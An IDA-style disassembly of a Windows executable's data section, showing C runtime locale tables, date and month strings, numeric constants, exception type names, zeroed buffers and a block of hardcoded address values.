dword_454644	dd 0			; DATA XREF: sub_4336D0+201r
					; sub_4336D0+21Dr ...
dword_454648	dd 0			; DATA XREF: sub_4336D0+2E5r
					; _cvtdate+1Dr	...
dword_45464C	dd 0FFFFFFFFh		; DATA XREF: _cvtdate+B0r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_45467C	dd 16Dh			; DATA XREF: ___loctotime_t+2Er
					; _cvtdate+2Cr	...
dword_454680	dd 0FFFFFFFFh		; DATA XREF: _cvtdate+BFr
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 3 dup(0)
dword_4546C0	dd 40Ah			; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+3Er
					; crtGetLocaleInfoA(x,x,x,x)+147r
a040a		db '040a',0             ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+9Ao
		align 4
off_4546CC	dd offset aSpanishTraditi ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+ABr
					; "Spanish - Traditional Sort"
dword_4546D0	dd 505345h		; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+BCo
off_4546D4	dd offset aSpain	; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+CDr
					; "Spain"
dword_4546D8	dd 505345h		; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+DEo
dword_4546DC	dd 303538h, 0		; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+EFo
a1252		db '1252',0             ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+100o
		align 4
		dd 40Bh, 62303430h, 0
		dd offset aFinnish	; "Finnish"
		dd offset word_4E4946
		dd offset aFinland	; "Finland"
		dd offset word_4E4946
		dd 303538h, 0
a1252_0		db '1252',0
		align 4
		dd 40Ch, 63303430h, 0
		dd offset aFrench	; "French"
		dd 415246h
		dd offset aFrance	; "France"
		dd 415246h, 303538h, 0
a1252_1		db '1252',0
		align 4
		dd 40Fh, 66303430h, 0
		dd offset aIcelandic	; "Icelandic"
		dd offset byte_4C5349
		dd offset aIceland	; "Iceland"
		dd offset byte_4C5349
		dd 303538h, 0
a1252_2		db '1252',0
		align 10h
		dd 41Dh, 64313430h, 0
		dd offset aSwedish	; "Swedish"
		dd offset byte_455653
		dd offset aSweden	; "Sweden"
		dd offset byte_455753
		dd 303538h, 0
a1252_3		db '1252',0
		align 4
		dd 42Dh, 64323430h, 0
		dd offset aBasque	; "Basque"
		dd 515545h
		dd offset aSpain	; "Spain"
		dd 505345h, 303538h, 0
a1252_4		db '1252',0
		align 4
		db 0Ah
		db 8,0
		align 4
a080a		db '080a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset byte_4D5345
		dd offset aMexico	; "Mexico"
		dd 58454Dh, 303538h, 0
a1252_5		db '1252',0
		align 4
		dd 80Ch, 63303830h, 0
		dd offset aFrench	; "French"
		dd 425246h
		dd offset aBelgium	; "Belgium"
		dd offset word_4C4542
		dd 303538h, 0
a1252_6		db '1252',0
		align 10h
		dd 0C07h, 37306330h, 0
		dd offset aGerman	; "German"
		dd 414544h
		dd offset aAustria	; "Austria"
dword_454838	dd 545541h, 303538h, 0	; DATA XREF: .data:00454914o
a1252_7		db '1252',0
		align 4
		dd 0C09h, 39306330h, 0
		dd offset aEnglish	; "English"
		dd 414E45h
		dd offset aAustralia	; "Australia"
		dd 535541h, 303538h, 0
a1252_8		db '1252',0
		align 4
		dd 0C0Ah, 61306330h, 0
		dd offset aSpanishModernS ; "Spanish - Modern Sort"
		dd offset byte_4E5345
		dd offset aSpain	; "Spain"
		dd 505345h, 303538h, 0
a1252_9		db '1252',0
		align 4
		dd 0C0Ch, 63306330h, 0
		dd offset aFrench	; "French"
		dd 435246h
		dd offset aCanada	; "Canada"
		dd offset byte_4E4143
		dd 303538h, 0
a1252_10	db '1252',0
		align 10h
		dd 100Ah, 61303031h, 0
		dd offset aSpanish	; "Spanish"
		dd offset byte_475345
		dd offset aGuatemala	; "Guatemala"
		dd offset byte_4D5447
		dd 303538h, 0
a1252_11	db '1252',0
		align 4
		dd 100Ch, 63303031h, 0
		dd offset aFrench	; "French"
		dd 535246h
		dd offset aSwitzerland	; "Switzerland"
		dd offset dword_454838+0Bh
		dd 303538h, 0
a1252_12	db '1252',0
		align 4
		dd 140Ah, 61303431h, 0
		dd offset aSpanish	; "Spanish"
		dd 435345h
		dd offset aCostaRica	; "Costa Rica"
		dd offset byte_495243
		dd 303538h, 0
a1252_13	db '1252',0
		align 4
		dd 140Ch, 63303431h, 0
		dd offset aFrench	; "French"
		dd offset word_4C5246
		dd offset aLuxembourg	; "Luxembourg"
		dd 58554Ch, 303538h, 0
a1252_14	db '1252',0
		align 10h
		dd 180Ah, 61303831h, 0
		dd offset aSpanish	; "Spanish"
		dd 415345h
		dd offset aPanama	; "Panama"
		dd offset dword_4E4150
		dd 303538h, 0
a1252_15	db '1252',0
		align 4
		dd 1C09h, 39306331h, 0
		dd offset aEnglish	; "English"
		dd 534E45h
		dd offset aSouthAfrica	; "South Africa"
		dd offset word_46415A
		dd 373334h, 0
a1252_16	db '1252',0
		align 4
		dd 1C0Ah, 61306331h, 0
		dd offset aSpanish	; "Spanish"
		dd offset off_445344+1
		dd offset aDominicanRepub ; "Dominican Republic"
		dd offset dword_4D4F44
		dd 303538h, 0
a1252_17	db '1252',0
		align 4
		db 0Ah
		db ' ',0
		align 4
a200a		db '200a',0
		align 10h
		dd offset aSpanish	; "Spanish"
		dd 565345h
		dd offset aVenezuela	; "Venezuela"
		dd offset word_4E4556
		dd 303538h, 0
a1252_18	db '1252',0
		align 10h
		db 0Ah
		db '$',0
		align 4
a240a		db '240a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd 4F5345h
		dd offset aColombia	; "Colombia"
		dd offset byte_4C4F43
		dd 303538h, 0
a1252_19	db '1252',0
		align 4
		db 0Ah
		db '(',0
		align 10h
a280a		db '280a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd 525345h
		dd offset aPeru		; "Peru"
		dd 524550h, 303538h, 0
a1252_20	db '1252',0
		align 4
		db 0Ah
		db ',',0
		align 4
a2c0a		db '2c0a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd 535345h
		dd offset aArgentina	; "Argentina"
		dd offset byte_475241
		dd 303538h, 0
a1252_21	db '1252',0
		align 4
a0_0		db 0Ah
		db '0',0
		align 4
a300a		db '300a',0
		align 10h
		dd offset aSpanish	; "Spanish"
		dd offset byte_465345
		dd offset aEcuador	; "Ecuador"
		dd 554345h, 303538h, 0
a1252_22	db '1252',0
		align 10h
a4		db 0Ah
		db '4',0
		align 4
a340a		db '340a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset byte_4C5345
		dd offset aChile	; "Chile"
		dd offset byte_4C4843
		dd 303538h, 0
a1252_23	db '1252',0
		align 4
a8		db 0Ah
		db '8',0
		align 10h
a380a		db '380a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd 595345h
		dd offset aUruguay	; "Uruguay"
		dd 595255h, 303538h, 0
a1252_24	db '1252',0
		align 4
		db 0Ah
		db '<',0
		align 4
a3c0a		db '3c0a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd 5A5345h
		dd offset aParaguay	; "Paraguay"
		dd 595250h, 303538h, 0
a1252_25	db '1252',0
		align 4
word_454B64	dw 0C0Ch		; DATA XREF: _TestDefaultCountry+34r
		dw 0C1Ah
		dd 4361007h, 42D080Ch, 100C0403h, 81D0810h
off_454B78	dd offset aAmerica	; DATA XREF: ___get_qualified_locale+9Co
					; "america"
		dd 415355h
		dd offset aBritain	; "britain"
		dd 524247h
		dd offset aChina	; "china"
		dd offset byte_4E4843
		dd offset aCzech	; "czech"
		dd offset byte_455A43
		dd offset aEngland	; "england"
		dd 524247h
		dd offset aGreatBritain	; "great britain"
		dd 524247h
		dd offset aHolland	; "holland"
		dd offset off_444C4C+2
		dd offset aHongKong	; "hong-kong"
		dd offset dword_474B48
		dd offset aNewZealand	; "new-zealand"
		dd offset word_4C5A4E
		dd offset aNz		; "nz"
		dd offset word_4C5A4E
		dd offset aPrChina_0	; "pr china"
		dd offset byte_4E4843
		dd offset aPrChina	; "pr-china"
		dd offset byte_4E4843
		dd offset aPuertoRico	; "puerto-rico"
		dd offset dword_495250
		dd offset aSlovak	; "slovak"
		dd offset byte_4B5653
		dd offset aSouthAfrica_1 ; "south africa"
		dd offset word_46415A
		dd offset aSouthKorea_0	; "south korea"
		dd 524F4Bh
		dd offset aSouthAfrica_0 ; "south-africa"
		dd offset word_46415A
		dd offset aSouthKorea	; "south-korea"
		dd 524F4Bh
		dd offset aTrinidadTobago ; "trinidad &	tobago"
		dd offset dword_4F5454
		dd offset aUk		; "uk"
		dd 524247h
		dd offset aUnitedKingdom ; "united-kingdom"
		dd 524247h
		dd offset aUnitedStates	; "united-states"
		dd 415355h
		dd offset aUs		; "us"
		dd 415355h
off_454C30	dd offset aAmerican	; DATA XREF: ___get_qualified_locale+67o
					; "american"
		dd 554E45h
		dd offset aAmericanEngl_0 ; "american english"
		dd 554E45h
		dd offset aAmericanEnglis ; "american-english"
		dd 554E45h
		dd offset aAustralian	; "australian"
		dd 414E45h
		dd offset aBelgian	; "belgian"
		dd 424C4Eh
		dd offset aCanadian	; "canadian"
		dd 434E45h
		dd offset aChh		; "chh"
		dd offset word_48485A
		dd offset aChi		; "chi"
		dd offset word_49485A
		dd offset aChinese	; "chinese"
		dd 534843h
		dd offset aChineseHongkon ; "chinese-hongkong"
		dd offset word_48485A
		dd offset aChineseSimplif ; "chinese-simplified"
		dd 534843h
		dd offset aChineseSingapo ; "chinese-singapore"
		dd offset word_49485A
		dd offset aChineseTraditi ; "chinese-traditional"
		dd 544843h
		dd offset aDutchBelgian	; "dutch-belgian"
		dd 424C4Eh
		dd offset aEnglishAmerica ; "english-american"
		dd 554E45h
		dd offset aEnglishAus	; "english-aus"
		dd 414E45h
		dd offset aEnglishBelize ; "english-belize"
		dd offset byte_4C4E45
		dd offset aEnglishCan	; "english-can"
		dd 434E45h
		dd offset aEnglishCaribbe ; "english-caribbean"
		dd 424E45h
		dd offset aEnglishIre	; "english-ire"
		dd offset byte_494E45
		dd offset aEnglishJamaica ; "english-jamaica"
		dd offset byte_4A4E45
		dd offset aEnglishNz	; "english-nz"
		dd 5A4E45h
		dd offset aEnglishSouthAf ; "english-south africa"
		dd 534E45h
		dd offset aEnglishTrinida ; "english-trinidad y	tobago"
		dd 544E45h
		dd offset aEnglishUk	; "english-uk"
		dd offset byte_474E45
		dd offset aEnglishUs	; "english-us"
		dd 554E45h
		dd offset aEnglishUsa	; "english-usa"
		dd 554E45h
		dd offset aFrenchBelgian ; "french-belgian"
		dd 425246h
		dd offset aFrenchCanadian ; "french-canadian"
		dd 435246h
		dd offset aFrenchLuxembou ; "french-luxembourg"
		dd offset word_4C5246
		dd offset aFrenchSwiss	; "french-swiss"
		dd 535246h
		dd offset aGermanAustrian ; "german-austrian"
		dd 414544h
		dd offset aGermanLichtens ; "german-lichtenstein"
		dd 434544h
		dd offset aGermanLuxembou ; "german-luxembourg"
		dd offset dword_4C4544
		dd offset aGermanSwiss	; "german-swiss"
		dd 534544h
		dd offset aIrishEnglish	; "irish-english"
		dd offset byte_494E45
		dd offset aItalianSwiss	; "italian-swiss"
		dd 535449h
		dd offset aNorwegian	; "norwegian"
		dd 524F4Eh
		dd offset aNorwegianBokma ; "norwegian-bokmal"
		dd 524F4Eh
		dd offset aNorwegianNynor ; "norwegian-nynorsk"
		dd offset word_4E4F4E
		dd offset aPortugueseBraz ; "portuguese-brazilian"
		dd 425450h
		dd offset aSpanishArgenti ; "spanish-argentina"
		dd 535345h
		dd offset aSpanishBolivia ; "spanish-bolivia"
		dd 425345h
		dd offset aSpanishChile	; "spanish-chile"
		dd offset byte_4C5345
		dd offset aSpanishColombi ; "spanish-colombia"
		dd 4F5345h
		dd offset aSpanishCostaRi ; "spanish-costa rica"
		dd 435345h
		dd offset aSpanishDominic ; "spanish-dominican republic"
		dd offset off_445344+1
		dd offset aSpanishEcuador ; "spanish-ecuador"
		dd offset byte_465345
		dd offset aSpanishElSalva ; "spanish-el	salvador"
		dd offset byte_455345
		dd offset aSpanishGuatema ; "spanish-guatemala"
		dd offset byte_475345
		dd offset aSpanishHondura ; "spanish-honduras"
		dd offset byte_485345
		dd offset aSpanishMexican ; "spanish-mexican"
		dd offset byte_4D5345
		dd offset aSpanishModern ; "spanish-modern"
		dd offset byte_4E5345
		dd offset aSpanishNicarag ; "spanish-nicaragua"
		dd offset byte_495345
		dd offset aSpanishPanama ; "spanish-panama"
		dd 415345h
		dd offset aSpanishParagua ; "spanish-paraguay"
		dd 5A5345h
		dd offset aSpanishPeru	; "spanish-peru"
		dd 525345h
		dd offset aSpanishPuertoR ; "spanish-puerto rico"
		dd 555345h
		dd offset aSpanishUruguay ; "spanish-uruguay"
		dd 595345h
		dd offset aSpanishVenezue ; "spanish-venezuela"
		dd 565345h
		dd offset aSwedishFinland ; "swedish-finland"
		dd offset byte_465653
		dd offset aSwiss	; "swiss"
		dd 534544h
		dd offset aUk		; "uk"
		dd offset byte_474E45
		dd offset aUs		; "us"
		dd 554E45h
		dd offset aUsa		; "usa"
		dd 554E45h
; void *off_454E38
off_454E38	dd offset off_454E40	; DATA XREF: ___init_time+70w
					; ___init_time:loc_433C71w ...
		align 10h
off_454E40	dd offset aSun		; DATA XREF: ___init_time:loc_433C71o
					; .data:off_454E38o
					; "Sun"
		dd offset aMon		; "Mon"
		dd offset aTue		; "Tue"
		dd offset aWed		; "Wed"
		dd offset aThu		; "Thu"
		dd offset aFri		; "Fri"
		dd offset aSat		; "Sat"
		dd offset aSunday	; "Sunday"
		dd offset aMonday	; "Monday"
		dd offset aTuesday	; "Tuesday"
		dd offset aWednesday	; "Wednesday"
		dd offset aThursday	; "Thursday"
		dd offset aFriday	; "Friday"
		dd offset aSaturday	; "Saturday"
		dd offset aJan		; "Jan"
		dd offset aFeb		; "Feb"
		dd offset aMar		; "Mar"
		dd offset aApr		; "Apr"
		dd offset aMay		; "May"
		dd offset aJun		; "Jun"
		dd offset aJul		; "Jul"
		dd offset aAug		; "Aug"
		dd offset aSep		; "Sep"
		dd offset aOct		; "Oct"
		dd offset aNov		; "Nov"
		dd offset aDec		; "Dec"
		dd offset aJanuary	; "January"
		dd offset aFebruary	; "February"
		dd offset aMarch	; "March"
		dd offset aApril	; "April"
		dd offset aMay		; "May"
		dd offset aJune		; "June"
		dd offset aJuly		; "July"
		dd offset aAugust	; "August"
		dd offset aSeptember	; "September"
		dd offset aOctober	; "October"
		dd offset aNovember	; "November"
		dd offset aDecember	; "December"
		dd offset aAm_0		; "AM"
		dd offset aPm_2		; "PM"
		dd offset aMDYy		; "M/d/yy"
		dd offset aDdddMmmmDdYyyy ; "dddd, MMMM	dd, yyyy"
		dd offset aHMmSs	; "H:mm:ss"
		align 10h
dword_454EF0	dd 2Eh,	0		; DATA XREF: ___init_numeric+EEo
					; .data:off_454EF8o
off_454EF8	dd offset dword_454EF0	; DATA XREF: ___init_monetary+D4w
					; ___init_monetary+F6o	...
off_454EFC	dd offset dword_4F3894	; DATA XREF: ___init_monetary+E2w
off_454F00	dd offset dword_4F3894	; DATA XREF: ___init_monetary+F1w
		dd offset dword_4F3894
		dd offset dword_4F3894
		dd offset dword_4F3894
		dd offset dword_4F3894
		dd offset dword_4F3894
		dd offset dword_4F3894
		dd offset dword_4F3894
		dd 2 dup(7F7F7F7Fh)
off_454F28	dd offset off_454EF8	; DATA XREF: ___init_numeric:loc_434639r
					; ___init_numeric+F8r ...
		align 10h
dword_454F30	dd 2 dup(0)		; DATA XREF: ___multtenpow12+6o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
		dd 400FC350h, 2	dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_455090	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: ___multtenpow12+2Ao
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_4551F0	dd offset off_43E178	; DATA XREF: .rdata:off_43E1B8o
					; .rdata:0043E2E4o ...
		align 8
a_?avexception@	db '.?AVexception@@',0
off_455208	dd offset off_43E178	; DATA XREF: .rdata:off_43E1D0o
					; .rdata:0043E214o ...
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_455228	dd offset off_43E178	; DATA XREF: .rdata:off_43E220o
					; .rdata:0043E264o ...
		align 10h
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_455248	dd offset off_43E178	; DATA XREF: .rdata:off_43E270o
					; .rdata:0043E2B4o ...
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_455268	dd offset off_43E178	; DATA XREF: .rdata:off_43E2F0o
					; .rdata:0043E32Co
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z	; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
		align 8
dword_455288	dd 2 dup(0)		; DATA XREF: sub_401317+C8o
dword_455290	dd 2 dup(0)		; DATA XREF: sub_401317+62o
; char dword_455298[]
dword_455298	dd 0			; DATA XREF: WinMain(x,x,x,x)+38Fo
					; sub_401CC7+AF0o ...
		dd 5 dup(0)
dword_4552B0	dd 0			; DATA XREF: sub_401CC7+B4Cr
					; sub_415B47+60r
		dd 24h dup(0)
		db 0
byte_455345	db 3 dup(0)		; DATA XREF: .data:00454DB4o
		dd 0C2h	dup(0)
		db 3 dup(0)
byte_455653	db 0			; DATA XREF: .data:00454780o
		dd 3Fh dup(0)
		db 3 dup(0)
byte_455753	db 0			; DATA XREF: .data:00454788o
		dd 0BBh	dup(0)
		db 3 dup(0)
byte_455A43	db 0			; DATA XREF: .data:00454B94o
		dd 0F5h	dup(0)
dword_455E18	dd 0			; DATA XREF: sub_401CC7+5EE3r
					; sub_401CC7+5FC0r ...
		dd 7Fh dup(0)
dword_456018	dd 0			; DATA XREF: sub_40B756+41w
					; sub_40B891+40w ...
dword_45601C	dd 0			; DATA XREF: sub_40B756+47w
					; sub_40B891+46w ...
dword_456020	dd 0			; DATA XREF: sub_40B756+52w
					; sub_40B891+3Ar ...
dword_456024	dd 0			; DATA XREF: sub_401317+Cr
					; sub_4019E7+B9w ...
dword_456028	dd 0			; DATA XREF: sub_40B891+75r
					; sub_40BA72+2Aw ...
dword_45602C	dd 0			; DATA XREF: WinMain(x,x,x,x)+3DEw
					; WinMain(x,x,x,x)+456w ...
byte_456030	db 0			; DATA XREF: sub_4019E7+91o
					; sub_401CC7+5E28r ...
		align 4
		dd 503h	dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: .data:off_44F70Co
		dd 3345h dup(0)
		db 2 dup(0)
word_46415A	dw 0			; DATA XREF: .data:004549C4o
					; .data:00454BECo ...
		dd 47Ah	dup(0)
		db 0
byte_465345	db 3 dup(0)		; DATA XREF: .data:00454AC4o
					; .data:00454DACo
		dd 0C2h	dup(0)
		db 3 dup(0)
byte_465653	db 0			; DATA XREF: .data:00454E14o
		dd 3D3Dh dup(0)
dword_474B48	dd 0BFh	dup(0)		; DATA XREF: .data:00454BB4o
		db 0
byte_474E45	db 3 dup(0)		; DATA XREF: .data:00454CF4o
					; .data:00454E24o
		dd 0FEh	dup(0)
		db 0
byte_475241	db 3 dup(0)		; DATA XREF: .data:00454AA0o
		dd 40h dup(0)
		db 0
byte_475345	db 3 dup(0)		; DATA XREF: .data:004548E0o
					; .data:00454DBCo
		dd 3D44h dup(0)
		db 2 dup(0)
word_48485A	dw 0			; DATA XREF: .data:00454C64o
					; .data:00454C7Co
		dd 2BAh	dup(0)
		db 0
byte_485345	db 3 dup(0)		; DATA XREF: .data:00454DC4o
		dd 3D44h dup(0)
		db 2 dup(0)
word_49485A	dw 0			; DATA XREF: .data:00454C6Co
					; .data:00454C8Co
		dd 17Ah	dup(0)
		db 0
byte_494E45	db 3 dup(0)		; DATA XREF: .data:00454CCCo
					; .data:00454D4Co
		dd 0FEh	dup(0)
		db 3 dup(0)
byte_495243	db 0			; DATA XREF: .data:00454940o
		align 10h
dword_495250	dd 3Dh dup(0)		; DATA XREF: .data:00454BDCo
		db 0
byte_495345	db 3 dup(0)		; DATA XREF: .data:00454DDCo
		dd 3EBFh dup(0)
		db 0
byte_4A4E45	db 3 dup(0)		; DATA XREF: .data:00454CD4o
		dd 40FFh dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: .data:off_44F8A0o
		dd 102h	dup(0)
		db 3 dup(0)
byte_4B5653	db 0			; DATA XREF: .data:00454BE4o
		dd 3BBBh dup(0)
		db 2 dup(0)
word_4C4542	dw 0			; DATA XREF: .data:0045480Co
dword_4C4544	dd 0BFh	dup(0)		; DATA XREF: .data:00454D3Co
		db 3 dup(0)
byte_4C4843	db 0			; DATA XREF: .data:00454AF8o
		dd 180h	dup(0)
		db 0
byte_4C4E45	db 3 dup(0)		; DATA XREF: .data:00454CB4o
		dd 3Eh dup(0)
		db 3 dup(0)
byte_4C4F43	db 0			; DATA XREF: .data:00454A48o
		dd 0C0h	dup(0)
		db 2 dup(0)
word_4C5246	dw 0			; DATA XREF: .data:00454964o
					; .data:00454D1Co
		dd 3Fh dup(0)
		db 0
byte_4C5345	db 3 dup(0)		; DATA XREF: .data:00454AF0o
					; .data:00454D8Co
		db 0
byte_4C5349	db 3 dup(0)		; DATA XREF: .data:00454754o
					; .data:0045475Co
		dd 1C0h	dup(0)
		db 2 dup(0)
word_4C5A4E	dw 0			; DATA XREF: .data:00454BBCo
					; .data:00454BC4o
		dd 39C0h dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: .data:off_44EAE8o
		dd 37Ch	dup(0)
dword_4D4F44	dd 100h	dup(0)		; DATA XREF: .data:004549F0o
		db 0
byte_4D5345	db 3 dup(0)		; DATA XREF: .data:004547D8o
					; .data:00454DCCo
		dd 3Fh dup(0)
		db 3 dup(0)
byte_4D5447	db 0			; DATA XREF: .data:004548E8o
		dd 3674h dup(0)
dword_4E2E18	dd 2BECh		; DATA XREF: sub_401317+FDw
					; sub_40B756+13o ...
dword_4E2E1C	dd 1Fh			; DATA XREF: WinMain(x,x,x,x)+3Dw
					; sub_401CC7:loc_4046C2r ...
dword_4E2E20	dd 0			; DATA XREF: WinMain(x,x,x,x):loc_4018F9o
; char Dest[]
Dest		db 80h dup(0)		; DATA XREF: WinMain(x,x,x,x)+495o
					; WinMain(x,x,x,x)+52Fo ...
; char byte_4E2EA4[]
byte_4E2EA4	db 40h dup(0)		; DATA XREF: WinMain(x,x,x,x)+4ABo
; char byte_4E2EE4[]
byte_4E2EE4	db 90h dup(0)		; DATA XREF: WinMain(x,x,x,x)+4C2o
dword_4E2F74	dd 0			; DATA XREF: WinMain(x,x,x,x)+4B6w
					; WinMain(x,x,x,x)+546w ...
dword_4E2F78	dd 0			; DATA XREF: WinMain(x,x,x,x)+4D5w
		dd 3 dup(0)
dword_4E2F88	dd 0			; DATA XREF: WinMain(x,x,x,x)+4E3w
					; WinMain(x,x,x,x)+4FAr ...
dword_4E2F8C	dd 0			; DATA XREF: WinMain(x,x,x,x)+49Aw
					; sub_401CC7+8A9r
dword_4E2F90	dd 0			; DATA XREF: .data:0043F264o
dword_4E2F94	dd 0			; DATA XREF: WinMain(x,x,x,x)+24Do
; char byte_4E2F98[]
byte_4E2F98	db 4 dup(0)		; DATA XREF: sub_401CC7+7E87o
dword_4E2F9C	dd 0			; DATA XREF: sub_401CC7+232Co
; char byte_4E2FA0[]
byte_4E2FA0	db 4 dup(0)		; DATA XREF: sub_401CC7+1EE0o
; char byte_4E2FA4[]
byte_4E2FA4	db 4 dup(0)		; DATA XREF: sub_401CC7+40C3o
; char byte_4E2FA8[]
byte_4E2FA8	db 4 dup(0)		; DATA XREF: sub_401CC7+4215o
; char byte_4E2FAC[]
byte_4E2FAC	db 4 dup(0)		; DATA XREF: sub_401CC7+449Fo
; char byte_4E2FB0[]
byte_4E2FB0	db 4 dup(0)		; DATA XREF: sub_401CC7+5C4Bo
dword_4E2FB4	dd 77C72C6Bh		; DATA XREF: sub_409DD4+4A7w
					; sub_409DD4+4EBr ...
dword_4E2FB8	dd 77EBA994h		; DATA XREF: sub_409DD4+65w
					; sub_41A589+166r
dword_4E2FBC	dd 7622A3F4h		; DATA XREF: sub_409DD4+80Bw
					; sub_409DD4+880r ...
dword_4E2FC0	dd 71C45229h		; DATA XREF: sub_409DD4+9D8w
					; sub_409DD4+A43r ...
dword_4E2FC4	dd 71C24870h		; DATA XREF: sub_409DD4+98Aw
					; sub_409DD4+A13r ...
dword_4E2FC8	dd 77C71BB0h		; DATA XREF: sub_409DD4+48Dw
					; sub_409DD4+4DBr ...
dword_4E2FCC	dd 77D4808Bh		; DATA XREF: sub_409DD4+213w
					; sub_409DD4+234r ...
dword_4E2FD0	dd 71C4502Ch		; DATA XREF: sub_409DD4+9CBw
					; sub_409DD4+A3Br ...
dword_4E2FD4	dd 77DE801Bh		; DATA XREF: sub_409DD4+372w
					; sub_409DD4+3C7r ...
dword_4E2FD8	dd 77DDACABh		; DATA XREF: sub_409DD4+40Fw
					; sub_41B92C+11Er
dword_4E2FDC	dd 77DE8075h		; DATA XREF: sub_409DD4+37Fw
					; sub_409DD4+3CFr ...
dword_4E2FE0	dd 77DD7496h		; DATA XREF: sub_409DD4+3C0w
					; sub_419B5B+ADr
dword_4E2FE4	dd 71AB1B7Bh		; DATA XREF: sub_409DD4+55Aw
					; sub_40FB50+115r ...
dword_4E2FE8	dd 77E686CCh		; DATA XREF: sub_409DD4+72w
					; sub_409DD4+D2r ...
dword_4E2FEC	dd 71C2498Bh		; DATA XREF: sub_409DD4+97Dw
					; sub_409DD4+A06r ...
dword_4E2FF0	dd 77DDAB2Fh		; DATA XREF: sub_409DD4+3A6w
					; sub_409DD4+3E7r ...
dword_4E2FF4	dd 7620E8C3h		; DATA XREF: sub_409DD4+859w
					; sub_409DD4+8ACr ...
dword_4E2FF8	dd 77DD23D7h		; DATA XREF: sub_409DD4+2A5w
					; sub_409DD4+2F0r ...
dword_4E2FFC	dd 76214750h		; DATA XREF: sub_409DD4+84Cw
					; sub_409DD4+8A4r ...
dword_4E3000	dd 77E6D75Bh		; DATA XREF: sub_409DD4+B3w
dword_4E3004	dd 7620BD61h		; DATA XREF: sub_409DD4+866w
					; sub_409DD4+8B4r ...
dword_4E3008	dd 71AB60C9h		; DATA XREF: sub_409DD4+54Dw
					; sub_409DD4+6D0r ...
